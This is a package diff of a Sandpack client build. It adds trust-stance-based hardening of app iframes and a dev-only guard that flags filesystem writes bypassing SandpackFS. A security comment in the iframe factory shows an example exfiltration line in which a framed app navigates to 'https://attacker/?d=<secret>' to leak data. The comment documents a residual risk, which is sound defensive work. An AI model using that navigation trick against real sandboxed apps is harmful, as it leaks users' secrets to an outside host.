* SELF-NAVIGATION RESIDUAL (booked, do NOT claim closed — §G1a / TRUST_MODES §6 /
|
|
57
|
+
* finding C1): an M3 frame can still `location = "https://attacker/?d=<secret>"`
|
|
58
|
+
* as a ONE-SHOT `GET`. That channel is unblockable without `allow-top-navigation`
|
|
59
|
+
* gymnastics that break legitimate in-app routing, is browser-parity, and is
|
|
60
|
+
* host-observable (a navigation tripwire is a post-hoc signal, never prevention).
|
|
61
|
+
* This factory contains BULK/streaming egress (fetch, form-POST, popups, pixels);
|
|
62
|
+
* it does not — and cannot — close the single-shot self-nav floor.
|
|
63
|
+
*/
|
|
64
|
+
function createSandboxedIframe(doc, stance) {
|
|
65
|
+
if (doc === void 0) { doc = document; }
|
|
66
|
+
var iframe = doc.createElement("iframe");
|
|
67
|
+
iframe.setAttribute("sandbox", sandboxAttrFor(stance));
|
|
68
|
+
iframe.setAttribute("allow", allowAttrFor(stance));
|
|
69
|
+
assertOpaqueOrigin(iframe);
|
|
70
|
+
return iframe;
|
|
71
|
+
}
|
|
72
|
+
/**
|
|
73
|
+
* Ensure a (possibly externally-provided) app iframe is opaque-origin: set the
|
|
74
|
+
* sandbox/allow attributes if absent, then assert no `allow-same-origin`. Use
|
|
75
|
+
* this for the case where a host passes in its own iframe element. `stance` selects
|
|
76
|
+
* the M3-hardened attributes when this factory is the one setting them.
|
|
77
|
+
*/
|
|
78
|
+
function ensureSandboxed(iframe, stance) {
|
|
79
|
+
if (!iframe.getAttribute("sandbox")) {
|
|
80
|
+
iframe.setAttribute("sandbox", sandboxAttrFor(stance));
|
|
81
|
+
iframe.setAttribute("allow", allowAttrFor(stance));
|
|
82
|
+
}
|
|
83
|
+
assertOpaqueOrigin(iframe);
|
|
84
|
+
}
|
|
85
|
+
|
|
86
|
+
export { createSandboxedIframe as c, ensureSandboxed as e };
|
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
import { g as __extends, h as __assign, _ as __awaiter, a as __generator } from './utils-DG1HA4RZ.mjs';
|
|
2
2
|
import { PreviewController } from 'static-browser-server';
|
|
3
|
-
import { E as EventEmitter, g as generateRandomId, c as consoleHook } from './consoleHook-
|
|
3
|
+
import { E as EventEmitter, g as generateRandomId, c as consoleHook } from './consoleHook-vOAHXvaX.mjs';
|
|
4
4
|
import { S as SandpackClient } from './base-DBh7xJX9.mjs';
|
|
5
|
-
import { c as createSandboxedIframe, e as ensureSandboxed } from './iframe-factory-
|
|
5
|
+
import { c as createSandboxedIframe, e as ensureSandboxed } from './iframe-factory-C8M0b9uf.mjs';
|
|
6
6
|
import 'outvariant';
|
|
7
|
-
import './types-
|
|
7
|
+
import './types-DR29do3R.mjs';
|
|
8
8
|
import '@zenfs/core';
|
|
9
9
|
import 'dequal';
|
|
10
10
|
|
|
@@ -75,14 +75,14 @@ var SandpackStatic = /** @class */ (function (_super) {
|
|
|
75
75
|
_this.element = element;
|
|
76
76
|
// Opaque-origin app iframe via the single factory (G1/T1) — untrusted
|
|
77
77
|
// preview content runs at an opaque origin (see the runtime client).
|
|
78
|
-
_this.iframe = createSandboxedIframe();
|
|
78
|
+
_this.iframe = createSandboxedIframe(document, _this.options.stance);
|
|
79
79
|
}
|
|
80
80
|
else {
|
|
81
81
|
_this.element = selector;
|
|
82
82
|
_this.iframe = selector;
|
|
83
83
|
}
|
|
84
84
|
// Set-and-assert: harden a host-provided iframe; verify no allow-same-origin.
|
|
85
|
-
ensureSandboxed(_this.iframe);
|
|
85
|
+
ensureSandboxed(_this.iframe, _this.options.stance);
|
|
86
86
|
_this.eventListener = _this.eventListener.bind(_this);
|
|
87
87
|
if (typeof window !== "undefined") {
|
|
88
88
|
window.addEventListener("message", _this.eventListener);
|
|
@@ -2,11 +2,11 @@
|
|
|
2
2
|
|
|
3
3
|
var utils = require('./utils-BiVyytui.js');
|
|
4
4
|
var staticBrowserServer = require('static-browser-server');
|
|
5
|
-
var consoleHook = require('./consoleHook-
|
|
5
|
+
var consoleHook = require('./consoleHook-Dva85ENr.js');
|
|
6
6
|
var base = require('./base-DelKLlDk.js');
|
|
7
|
-
var iframeFactory = require('./iframe-factory-
|
|
7
|
+
var iframeFactory = require('./iframe-factory-Bc7tcyQZ.js');
|
|
8
8
|
require('outvariant');
|
|
9
|
-
require('./types-
|
|
9
|
+
require('./types-mAM6HBIz.js');
|
|
10
10
|
require('@zenfs/core');
|
|
11
11
|
require('dequal');
|
|
12
12
|
|
|
@@ -77,14 +77,14 @@ var SandpackStatic = /** @class */ (function (_super) {
|
|
|
77
77
|
_this.element = element;
|
|
78
78
|
// Opaque-origin app iframe via the single factory (G1/T1) — untrusted
|
|
79
79
|
// preview content runs at an opaque origin (see the runtime client).
|
|
80
|
-
_this.iframe = iframeFactory.createSandboxedIframe();
|
|
80
|
+
_this.iframe = iframeFactory.createSandboxedIframe(document, _this.options.stance);
|
|
81
81
|
}
|
|
82
82
|
else {
|
|
83
83
|
_this.element = selector;
|
|
84
84
|
_this.iframe = selector;
|
|
85
85
|
}
|
|
86
86
|
// Set-and-assert: harden a host-provided iframe; verify no allow-same-origin.
|
|
87
|
-
iframeFactory.ensureSandboxed(_this.iframe);
|
|
87
|
+
iframeFactory.ensureSandboxed(_this.iframe, _this.options.stance);
|
|
88
88
|
_this.eventListener = _this.eventListener.bind(_this);
|
|
89
89
|
if (typeof window !== "undefined") {
|
|
90
90
|
window.addEventListener("message", _this.eventListener);
|
package/dist/index.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
'use strict';
|
|
2
2
|
|
|
3
3
|
var utils = require('./utils-BiVyytui.js');
|
|
4
|
-
var types = require('./types-
|
|
4
|
+
var types = require('./types-mAM6HBIz.js');
|
|
5
5
|
require('outvariant');
|
|
6
6
|
require('@zenfs/core');
|
|
7
7
|
|
|
@@ -24,7 +24,7 @@ function loadSandpackClient(iframeSelector_1, sandboxSetup_1) {
|
|
|
24
24
|
case 2:
|
|
25
25
|
Client = _c.sent();
|
|
26
26
|
return [3 /*break*/, 7];
|
|
27
|
-
case 3: return [4 /*yield*/, Promise.resolve().then(function () { return require('./index
|
|
27
|
+
case 3: return [4 /*yield*/, Promise.resolve().then(function () { return require('./index-DWUK0Qhn.js'); }).then(function (m) { return m.SandpackStatic; })];
|
|
28
28
|
case 4:
|
|
29
29
|
Client = _c.sent();
|
|
30
30
|
return [3 /*break*/, 7];
|
package/dist/index.mjs
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
import { _ as __awaiter, a as __generator } from './utils-DG1HA4RZ.mjs';
|
|
2
2
|
export { b as addPackageJSONIfNeededToMap, c as createError, d as createPackageJSON, e as extractErrorDetails, n as normalizePath, f as nullthrows } from './utils-DG1HA4RZ.mjs';
|
|
3
|
-
export { M as META_PATH, S as SandpackFS, a as SandpackLogLevel } from './types-
|
|
3
|
+
export { M as META_PATH, S as SandpackFS, a as SandpackLogLevel } from './types-DR29do3R.mjs';
|
|
4
4
|
import 'outvariant';
|
|
5
5
|
import '@zenfs/core';
|
|
6
6
|
|
|
@@ -23,7 +23,7 @@ function loadSandpackClient(iframeSelector_1, sandboxSetup_1) {
|
|
|
23
23
|
case 2:
|
|
24
24
|
Client = _c.sent();
|
|
25
25
|
return [3 /*break*/, 7];
|
|
26
|
-
case 3: return [4 /*yield*/, import('./index-
|
|
26
|
+
case 3: return [4 /*yield*/, import('./index-Bg_0g5j2.mjs').then(function (m) { return m.SandpackStatic; })];
|
|
27
27
|
case 4:
|
|
28
28
|
Client = _c.sent();
|
|
29
29
|
return [3 /*break*/, 7];
|
|
@@ -7,6 +7,70 @@ import { mount, bindContext, resolveMountConfig, InMemory } from '@zenfs/core';
|
|
|
7
7
|
*/
|
|
8
8
|
var META_PATH = "/.sandpack/meta.json";
|
|
9
9
|
var META_DIR = "/.sandpack";
|
|
10
|
+
/**
|
|
11
|
+
* Dev-only flag, using the standard `process.env.NODE_ENV` convention. This dist is
|
|
12
|
+
* always consumed by a bundler (site-main, the sandbox) that statically replaces
|
|
13
|
+
* `process.env.NODE_ENV`, so in a production build this folds to `false` and the
|
|
14
|
+
* `if (IS_DEV)` branch — with the whole {@link installOutOfBandGuard} function it is
|
|
15
|
+
* the only reference to — is dead-code-eliminated (verified with terser: the
|
|
16
|
+
* assertion string is absent once `NODE_ENV="production"`). The bare form (no
|
|
17
|
+
* `typeof` guard) is what lets it fold to a literal; a `typeof process` guard would
|
|
18
|
+
* defeat the elimination.
|
|
19
|
+
*/
|
|
20
|
+
var IS_DEV = process.env.NODE_ENV !== "production";
|
|
21
|
+
/**
|
|
22
|
+
* The ZenFS `fs.promises` methods that mutate the store. In dev these are wrapped
|
|
23
|
+
* (see {@link installOutOfBandGuard}) so a write that reaches this instance's
|
|
24
|
+
* bound-context fs **without** going through `SandpackFS.writeFile` is caught.
|
|
25
|
+
* Reads (`readFile`/`readdir`/`stat`) are never guarded.
|
|
26
|
+
*/
|
|
27
|
+
var GUARDED_WRITE_METHODS = [
|
|
28
|
+
"writeFile",
|
|
29
|
+
"unlink",
|
|
30
|
+
"mkdir",
|
|
31
|
+
"rename",
|
|
32
|
+
"appendFile",
|
|
33
|
+
"truncate",
|
|
34
|
+
"rm",
|
|
35
|
+
"rmdir",
|
|
36
|
+
];
|
|
37
|
+
/**
|
|
38
|
+
* Dev-only. Wrap the store-mutating methods on a SandpackFS instance's
|
|
39
|
+
* bound-context `fs.promises` so any write that did **not** go through
|
|
40
|
+
* `SandpackFS.writeFile` / `handleRemoteChange` (those use captured raw methods,
|
|
41
|
+
* which stay unwrapped) emits a single loud `console.error` naming the offending
|
|
42
|
+
* method + path, then still performs the write. Enforces the class writer invariant
|
|
43
|
+
* (roadmap R3-110).
|
|
44
|
+
*
|
|
45
|
+
* This is a module-level function (not a class method) and its **only** reference
|
|
46
|
+
* is behind the `if (IS_DEV)` branch in the constructor — so once a consumer's
|
|
47
|
+
* production build folds `IS_DEV` to `false`, the branch and this whole function
|
|
48
|
+
* tree-shake away (a class method would be retained). No-op in production.
|
|
49
|
+
*/
|
|
50
|
+
function installOutOfBandGuard(fsContext) {
|
|
51
|
+
var p = fsContext.fs.promises;
|
|
52
|
+
var _loop_1 = function (method) {
|
|
53
|
+
var original = p[method];
|
|
54
|
+
if (typeof original !== "function")
|
|
55
|
+
return "continue";
|
|
56
|
+
var call = original;
|
|
57
|
+
p[method] = function () {
|
|
58
|
+
var args = [];
|
|
59
|
+
for (var _i = 0; _i < arguments.length; _i++) {
|
|
60
|
+
args[_i] = arguments[_i];
|
|
61
|
+
}
|
|
62
|
+
console.error("[SandpackFS] out-of-band write: '".concat(method, "(").concat(String(args[0]), ")' bypassed SandpackFS.writeFile()/handleRemoteChange(), so it emits ") +
|
|
63
|
+
"no onChange \u2014 the editor view and bundler relay will miss it. Route the " +
|
|
64
|
+
"write through SandpackFS (EDITOR_AS_APP_SPEC D-EDIT-1 writer invariant; " +
|
|
65
|
+
"LOCAL_DEVELOPMENT_SPEC \u00A76.5).");
|
|
66
|
+
return call.apply(p, args);
|
|
67
|
+
};
|
|
68
|
+
};
|
|
69
|
+
for (var _i = 0, GUARDED_WRITE_METHODS_1 = GUARDED_WRITE_METHODS; _i < GUARDED_WRITE_METHODS_1.length; _i++) {
|
|
70
|
+
var method = GUARDED_WRITE_METHODS_1[_i];
|
|
71
|
+
_loop_1(method);
|
|
72
|
+
}
|
|
73
|
+
}
|
|
10
74
|
var mountCounter = 0;
|
|
11
75
|
var normalize = function (path) {
|
|
12
76
|
return path.startsWith("/") ? path : "/".concat(path);
|
|
@@ -19,6 +83,20 @@ var normalize = function (path) {
|
|
|
19
83
|
* All reads / writes are async. Changes emit a single coalesced notification
|
|
20
84
|
* (watcher or explicit helper calls) so React can subscribe via
|
|
21
85
|
* `useSyncExternalStore`.
|
|
86
|
+
*
|
|
87
|
+
* ## Writer invariant (why every mutation must funnel through here)
|
|
88
|
+
*
|
|
89
|
+
* The ZenFS `Port` backend does **not** forward watch events across the iframe
|
|
90
|
+
* boundary, so **every** independent mutator of the shared store MUST route through
|
|
91
|
+
* {@link SandpackFS.writeFile} (local edits → `external: false`) or
|
|
92
|
+
* {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
|
|
93
|
+
* `exportZenFS` → `external: true`). A write that reaches this instance's
|
|
94
|
+
* bound-context fs by any other path emits no `onChange`, so the editor view and
|
|
95
|
+
* the bundler relay silently miss it. This is the conflict-model writer invariant
|
|
96
|
+
* spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
|
|
97
|
+
* ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
|
|
98
|
+
* In dev, {@link installOutOfBandGuard} turns that convention into a loud
|
|
99
|
+
* assertion (roadmap R3-110); in production the guard is compiled out.
|
|
22
100
|
*/
|
|
23
101
|
var SandpackFS = /** @class */ (function () {
|
|
24
102
|
function SandpackFS(fsContext, remotePortFactory,
|
|
@@ -35,6 +113,12 @@ var SandpackFS = /** @class */ (function () {
|
|
|
35
113
|
this.sidecarEnvironment = undefined;
|
|
36
114
|
this.sidecarMode = undefined;
|
|
37
115
|
this.disposed = false;
|
|
116
|
+
var p = fsContext.fs.promises;
|
|
117
|
+
this.rawWriteFile = p.writeFile.bind(p);
|
|
118
|
+
this.rawUnlink = p.unlink.bind(p);
|
|
119
|
+
this.rawMkdir = p.mkdir.bind(p);
|
|
120
|
+
if (IS_DEV)
|
|
121
|
+
installOutOfBandGuard(fsContext);
|
|
38
122
|
}
|
|
39
123
|
/**
|
|
40
124
|
* Create the `MessagePort` shared with the child iframe, wiring the iframe's
|
|
@@ -85,9 +169,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
85
169
|
* lifecycle - {@link dispose} will unmount but not destroy the underlying
|
|
86
170
|
* store.
|
|
87
171
|
*/
|
|
88
|
-
SandpackFS.fromFileSystemContext = function (
|
|
89
|
-
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
90
|
-
fsContext, remotePortFactory, onWrite) {
|
|
172
|
+
SandpackFS.fromFileSystemContext = function (fsContext, remotePortFactory, onWrite) {
|
|
91
173
|
return __awaiter(this, void 0, void 0, function () {
|
|
92
174
|
var instance;
|
|
93
175
|
return __generator(this, function (_a) {
|
|
@@ -149,7 +231,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
149
231
|
return [4 /*yield*/, this.ensureParent(abs)];
|
|
150
232
|
case 1:
|
|
151
233
|
_b.sent();
|
|
152
|
-
return [4 /*yield*/, this.
|
|
234
|
+
return [4 /*yield*/, this.rawWriteFile(abs, content)];
|
|
153
235
|
case 2:
|
|
154
236
|
_b.sent();
|
|
155
237
|
normalized = normalize(path);
|
|
@@ -166,7 +248,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
166
248
|
var normalized;
|
|
167
249
|
return __generator(this, function (_a) {
|
|
168
250
|
switch (_a.label) {
|
|
169
|
-
case 0: return [4 /*yield*/, this.
|
|
251
|
+
case 0: return [4 /*yield*/, this.rawUnlink(this.toAbs(path))];
|
|
170
252
|
case 1:
|
|
171
253
|
_a.sent();
|
|
172
254
|
normalized = normalize(path);
|
|
@@ -321,7 +403,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
321
403
|
switch (_b.label) {
|
|
322
404
|
case 0:
|
|
323
405
|
_b.trys.push([0, 2, , 3]);
|
|
324
|
-
return [4 /*yield*/, this.
|
|
406
|
+
return [4 /*yield*/, this.rawMkdir(META_DIR, {
|
|
325
407
|
recursive: true,
|
|
326
408
|
})];
|
|
327
409
|
case 1:
|
|
@@ -350,7 +432,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
350
432
|
_b.label = 1;
|
|
351
433
|
case 1:
|
|
352
434
|
_b.trys.push([1, 3, , 4]);
|
|
353
|
-
return [4 /*yield*/, this.
|
|
435
|
+
return [4 /*yield*/, this.rawMkdir(dir, { recursive: true })];
|
|
354
436
|
case 2:
|
|
355
437
|
_b.sent();
|
|
356
438
|
return [3 /*break*/, 4];
|
|
@@ -437,7 +519,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
437
519
|
return [4 /*yield*/, this.ensureParent(abs)];
|
|
438
520
|
case 3:
|
|
439
521
|
_c.sent();
|
|
440
|
-
return [4 /*yield*/, this.
|
|
522
|
+
return [4 /*yield*/, this.rawWriteFile(abs, entry.code)];
|
|
441
523
|
case 4:
|
|
442
524
|
_c.sent();
|
|
443
525
|
fileMeta = {};
|
|
@@ -478,7 +560,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
478
560
|
if (this.sidecarMode !== undefined) {
|
|
479
561
|
sidecar.mode = this.sidecarMode;
|
|
480
562
|
}
|
|
481
|
-
return [4 /*yield*/, this.
|
|
563
|
+
return [4 /*yield*/, this.rawWriteFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
|
|
482
564
|
case 2:
|
|
483
565
|
_a.sent();
|
|
484
566
|
return [2 /*return*/];
|
|
@@ -9,6 +9,70 @@ var core = require('@zenfs/core');
|
|
|
9
9
|
*/
|
|
10
10
|
var META_PATH = "/.sandpack/meta.json";
|
|
11
11
|
var META_DIR = "/.sandpack";
|
|
12
|
+
/**
|
|
13
|
+
* Dev-only flag, using the standard `process.env.NODE_ENV` convention. This dist is
|
|
14
|
+
* always consumed by a bundler (site-main, the sandbox) that statically replaces
|
|
15
|
+
* `process.env.NODE_ENV`, so in a production build this folds to `false` and the
|
|
16
|
+
* `if (IS_DEV)` branch — with the whole {@link installOutOfBandGuard} function it is
|
|
17
|
+
* the only reference to — is dead-code-eliminated (verified with terser: the
|
|
18
|
+
* assertion string is absent once `NODE_ENV="production"`). The bare form (no
|
|
19
|
+
* `typeof` guard) is what lets it fold to a literal; a `typeof process` guard would
|
|
20
|
+
* defeat the elimination.
|
|
21
|
+
*/
|
|
22
|
+
var IS_DEV = process.env.NODE_ENV !== "production";
|
|
23
|
+
/**
|
|
24
|
+
* The ZenFS `fs.promises` methods that mutate the store. In dev these are wrapped
|
|
25
|
+
* (see {@link installOutOfBandGuard}) so a write that reaches this instance's
|
|
26
|
+
* bound-context fs **without** going through `SandpackFS.writeFile` is caught.
|
|
27
|
+
* Reads (`readFile`/`readdir`/`stat`) are never guarded.
|
|
28
|
+
*/
|
|
29
|
+
var GUARDED_WRITE_METHODS = [
|
|
30
|
+
"writeFile",
|
|
31
|
+
"unlink",
|
|
32
|
+
"mkdir",
|
|
33
|
+
"rename",
|
|
34
|
+
"appendFile",
|
|
35
|
+
"truncate",
|
|
36
|
+
"rm",
|
|
37
|
+
"rmdir",
|
|
38
|
+
];
|
|
39
|
+
/**
|
|
40
|
+
* Dev-only. Wrap the store-mutating methods on a SandpackFS instance's
|
|
41
|
+
* bound-context `fs.promises` so any write that did **not** go through
|
|
42
|
+
* `SandpackFS.writeFile` / `handleRemoteChange` (those use captured raw methods,
|
|
43
|
+
* which stay unwrapped) emits a single loud `console.error` naming the offending
|
|
44
|
+
* method + path, then still performs the write. Enforces the class writer invariant
|
|
45
|
+
* (roadmap R3-110).
|
|
46
|
+
*
|
|
47
|
+
* This is a module-level function (not a class method) and its **only** reference
|
|
48
|
+
* is behind the `if (IS_DEV)` branch in the constructor — so once a consumer's
|
|
49
|
+
* production build folds `IS_DEV` to `false`, the branch and this whole function
|
|
50
|
+
* tree-shake away (a class method would be retained). No-op in production.
|
|
51
|
+
*/
|
|
52
|
+
function installOutOfBandGuard(fsContext) {
|
|
53
|
+
var p = fsContext.fs.promises;
|
|
54
|
+
var _loop_1 = function (method) {
|
|
55
|
+
var original = p[method];
|
|
56
|
+
if (typeof original !== "function")
|
|
57
|
+
return "continue";
|
|
58
|
+
var call = original;
|
|
59
|
+
p[method] = function () {
|
|
60
|
+
var args = [];
|
|
61
|
+
for (var _i = 0; _i < arguments.length; _i++) {
|
|
62
|
+
args[_i] = arguments[_i];
|
|
63
|
+
}
|
|
64
|
+
console.error("[SandpackFS] out-of-band write: '".concat(method, "(").concat(String(args[0]), ")' bypassed SandpackFS.writeFile()/handleRemoteChange(), so it emits ") +
|
|
65
|
+
"no onChange \u2014 the editor view and bundler relay will miss it. Route the " +
|
|
66
|
+
"write through SandpackFS (EDITOR_AS_APP_SPEC D-EDIT-1 writer invariant; " +
|
|
67
|
+
"LOCAL_DEVELOPMENT_SPEC \u00A76.5).");
|
|
68
|
+
return call.apply(p, args);
|
|
69
|
+
};
|
|
70
|
+
};
|
|
71
|
+
for (var _i = 0, GUARDED_WRITE_METHODS_1 = GUARDED_WRITE_METHODS; _i < GUARDED_WRITE_METHODS_1.length; _i++) {
|
|
72
|
+
var method = GUARDED_WRITE_METHODS_1[_i];
|
|
73
|
+
_loop_1(method);
|
|
74
|
+
}
|
|
75
|
+
}
|
|
12
76
|
var mountCounter = 0;
|
|
13
77
|
var normalize = function (path) {
|
|
14
78
|
return path.startsWith("/") ? path : "/".concat(path);
|
|
@@ -21,6 +85,20 @@ var normalize = function (path) {
|
|
|
21
85
|
* All reads / writes are async. Changes emit a single coalesced notification
|
|
22
86
|
* (watcher or explicit helper calls) so React can subscribe via
|
|
23
87
|
* `useSyncExternalStore`.
|
|
88
|
+
*
|
|
89
|
+
* ## Writer invariant (why every mutation must funnel through here)
|
|
90
|
+
*
|
|
91
|
+
* The ZenFS `Port` backend does **not** forward watch events across the iframe
|
|
92
|
+
* boundary, so **every** independent mutator of the shared store MUST route through
|
|
93
|
+
* {@link SandpackFS.writeFile} (local edits → `external: false`) or
|
|
94
|
+
* {@link SandpackFS.handleRemoteChange} (iframe edits relayed by the host's
|
|
95
|
+
* `exportZenFS` → `external: true`). A write that reaches this instance's
|
|
96
|
+
* bound-context fs by any other path emits no `onChange`, so the editor view and
|
|
97
|
+
* the bundler relay silently miss it. This is the conflict-model writer invariant
|
|
98
|
+
* spec'd in **`EDITOR_AS_APP_SPEC.md` → Decisions & rejected alternatives D-EDIT-1**
|
|
99
|
+
* ("Conflict-model note (writer invariant)") and **`LOCAL_DEVELOPMENT_SPEC.md` §6.5**.
|
|
100
|
+
* In dev, {@link installOutOfBandGuard} turns that convention into a loud
|
|
101
|
+
* assertion (roadmap R3-110); in production the guard is compiled out.
|
|
24
102
|
*/
|
|
25
103
|
var SandpackFS = /** @class */ (function () {
|
|
26
104
|
function SandpackFS(fsContext, remotePortFactory,
|
|
@@ -37,6 +115,12 @@ var SandpackFS = /** @class */ (function () {
|
|
|
37
115
|
this.sidecarEnvironment = undefined;
|
|
38
116
|
this.sidecarMode = undefined;
|
|
39
117
|
this.disposed = false;
|
|
118
|
+
var p = fsContext.fs.promises;
|
|
119
|
+
this.rawWriteFile = p.writeFile.bind(p);
|
|
120
|
+
this.rawUnlink = p.unlink.bind(p);
|
|
121
|
+
this.rawMkdir = p.mkdir.bind(p);
|
|
122
|
+
if (IS_DEV)
|
|
123
|
+
installOutOfBandGuard(fsContext);
|
|
40
124
|
}
|
|
41
125
|
/**
|
|
42
126
|
* Create the `MessagePort` shared with the child iframe, wiring the iframe's
|
|
@@ -87,9 +171,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
87
171
|
* lifecycle - {@link dispose} will unmount but not destroy the underlying
|
|
88
172
|
* store.
|
|
89
173
|
*/
|
|
90
|
-
SandpackFS.fromFileSystemContext = function (
|
|
91
|
-
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
|
92
|
-
fsContext, remotePortFactory, onWrite) {
|
|
174
|
+
SandpackFS.fromFileSystemContext = function (fsContext, remotePortFactory, onWrite) {
|
|
93
175
|
return utils.__awaiter(this, void 0, void 0, function () {
|
|
94
176
|
var instance;
|
|
95
177
|
return utils.__generator(this, function (_a) {
|
|
@@ -151,7 +233,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
151
233
|
return [4 /*yield*/, this.ensureParent(abs)];
|
|
152
234
|
case 1:
|
|
153
235
|
_b.sent();
|
|
154
|
-
return [4 /*yield*/, this.
|
|
236
|
+
return [4 /*yield*/, this.rawWriteFile(abs, content)];
|
|
155
237
|
case 2:
|
|
156
238
|
_b.sent();
|
|
157
239
|
normalized = normalize(path);
|
|
@@ -168,7 +250,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
168
250
|
var normalized;
|
|
169
251
|
return utils.__generator(this, function (_a) {
|
|
170
252
|
switch (_a.label) {
|
|
171
|
-
case 0: return [4 /*yield*/, this.
|
|
253
|
+
case 0: return [4 /*yield*/, this.rawUnlink(this.toAbs(path))];
|
|
172
254
|
case 1:
|
|
173
255
|
_a.sent();
|
|
174
256
|
normalized = normalize(path);
|
|
@@ -323,7 +405,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
323
405
|
switch (_b.label) {
|
|
324
406
|
case 0:
|
|
325
407
|
_b.trys.push([0, 2, , 3]);
|
|
326
|
-
return [4 /*yield*/, this.
|
|
408
|
+
return [4 /*yield*/, this.rawMkdir(META_DIR, {
|
|
327
409
|
recursive: true,
|
|
328
410
|
})];
|
|
329
411
|
case 1:
|
|
@@ -352,7 +434,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
352
434
|
_b.label = 1;
|
|
353
435
|
case 1:
|
|
354
436
|
_b.trys.push([1, 3, , 4]);
|
|
355
|
-
return [4 /*yield*/, this.
|
|
437
|
+
return [4 /*yield*/, this.rawMkdir(dir, { recursive: true })];
|
|
356
438
|
case 2:
|
|
357
439
|
_b.sent();
|
|
358
440
|
return [3 /*break*/, 4];
|
|
@@ -439,7 +521,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
439
521
|
return [4 /*yield*/, this.ensureParent(abs)];
|
|
440
522
|
case 3:
|
|
441
523
|
_c.sent();
|
|
442
|
-
return [4 /*yield*/, this.
|
|
524
|
+
return [4 /*yield*/, this.rawWriteFile(abs, entry.code)];
|
|
443
525
|
case 4:
|
|
444
526
|
_c.sent();
|
|
445
527
|
fileMeta = {};
|
|
@@ -480,7 +562,7 @@ var SandpackFS = /** @class */ (function () {
|
|
|
480
562
|
if (this.sidecarMode !== undefined) {
|
|
481
563
|
sidecar.mode = this.sidecarMode;
|
|
482
564
|
}
|
|
483
|
-
return [4 /*yield*/, this.
|
|
565
|
+
return [4 /*yield*/, this.rawWriteFile(this.toAbs(META_PATH), JSON.stringify(sidecar))];
|
|
484
566
|
case 2:
|
|
485
567
|
_a.sent();
|
|
486
568
|
return [2 /*return*/];
|
package/dist/types.d.ts
CHANGED
|
@@ -1,3 +1,4 @@
|
|
|
1
|
+
import type { FrameStance } from "./clients/iframe-factory";
|
|
1
2
|
import type { SandpackNodeMessage } from "./clients/node/types";
|
|
2
3
|
import type { SandpackRuntimeMessage } from "./clients/runtime/types";
|
|
3
4
|
import type { SandpackFS } from "./fs/SandpackFS";
|
|
@@ -16,6 +17,14 @@ export interface ClientOptions {
|
|
|
16
17
|
* Paths to external resources
|
|
17
18
|
*/
|
|
18
19
|
externalResources?: string[];
|
|
20
|
+
/**
|
|
21
|
+
* The app's resolved trust stance (TRUST_MODES_SPEC §3 / R3-195). Only `"M3"`
|
|
22
|
+
* (a stranger's app) hardens the emitted iframe (sandbox flags + delegated
|
|
23
|
+
* features); absent or `"M0"`/`"M1"`/`"M2"` keeps the exact baseline. The host
|
|
24
|
+
* resolves this; the client never derives it. The per-frame M3 CSP is delivered
|
|
25
|
+
* with the frame's document (via `bundlerURL`), not here.
|
|
26
|
+
*/
|
|
27
|
+
stance?: FrameStance;
|
|
19
28
|
/**
|
|
20
29
|
* Location of the bundler.
|
|
21
30
|
*/
|
package/package.json
CHANGED
|
@@ -1,54 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
/**
|
|
4
|
-
* The single chokepoint for creating **app iframes** (UI_AS_APPS_SPEC §2 / G1 /
|
|
5
|
-
* threat T1).
|
|
6
|
-
*
|
|
7
|
-
* App iframes MUST be opaque-origin: `sandbox="allow-scripts …"` WITHOUT
|
|
8
|
-
* `allow-same-origin`. With `allow-same-origin` alongside `allow-scripts` an app
|
|
9
|
-
* could remove its own sandboxing and reach the parent — the whole capability
|
|
10
|
-
* model collapses. This is the one invariant with no defense-in-depth, so
|
|
11
|
-
* creation is centralized here and the resolved attribute is asserted. Raw
|
|
12
|
-
* `document.createElement('iframe')` for app content elsewhere is forbidden (a
|
|
13
|
-
* greppable CI check), so the verifiable invariant is "every app iframe is born
|
|
14
|
-
* in this factory."
|
|
15
|
-
*
|
|
16
|
-
* Scope: the opaque-origin app iframes (the runtime + static preview clients).
|
|
17
|
-
* The node/nodebox emulator is a different execution model and is intentionally
|
|
18
|
-
* NOT routed through here.
|
|
19
|
-
*/
|
|
20
|
-
var APP_SANDBOX = "allow-forms allow-modals allow-popups allow-presentation allow-scripts allow-downloads allow-pointer-lock";
|
|
21
|
-
var APP_ALLOW = "accelerometer; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; clipboard-read; clipboard-write; xr-spatial-tracking;";
|
|
22
|
-
/** Throw if the iframe would run scripts at a same-origin context (G1/T1). */
|
|
23
|
-
function assertOpaqueOrigin(iframe) {
|
|
24
|
-
var _a;
|
|
25
|
-
var sandbox = (_a = iframe.getAttribute("sandbox")) !== null && _a !== void 0 ? _a : "";
|
|
26
|
-
if (/(^|\s)allow-same-origin(\s|$)/.test(sandbox)) {
|
|
27
|
-
throw new Error("Refusing an app iframe with allow-same-origin alongside allow-scripts: " +
|
|
28
|
-
"the sandbox would be void (UI_AS_APPS_SPEC G1/T1).");
|
|
29
|
-
}
|
|
30
|
-
}
|
|
31
|
-
/** Create an opaque-origin sandboxed iframe for running untrusted app code. */
|
|
32
|
-
function createSandboxedIframe(doc) {
|
|
33
|
-
if (doc === void 0) { doc = document; }
|
|
34
|
-
var iframe = doc.createElement("iframe");
|
|
35
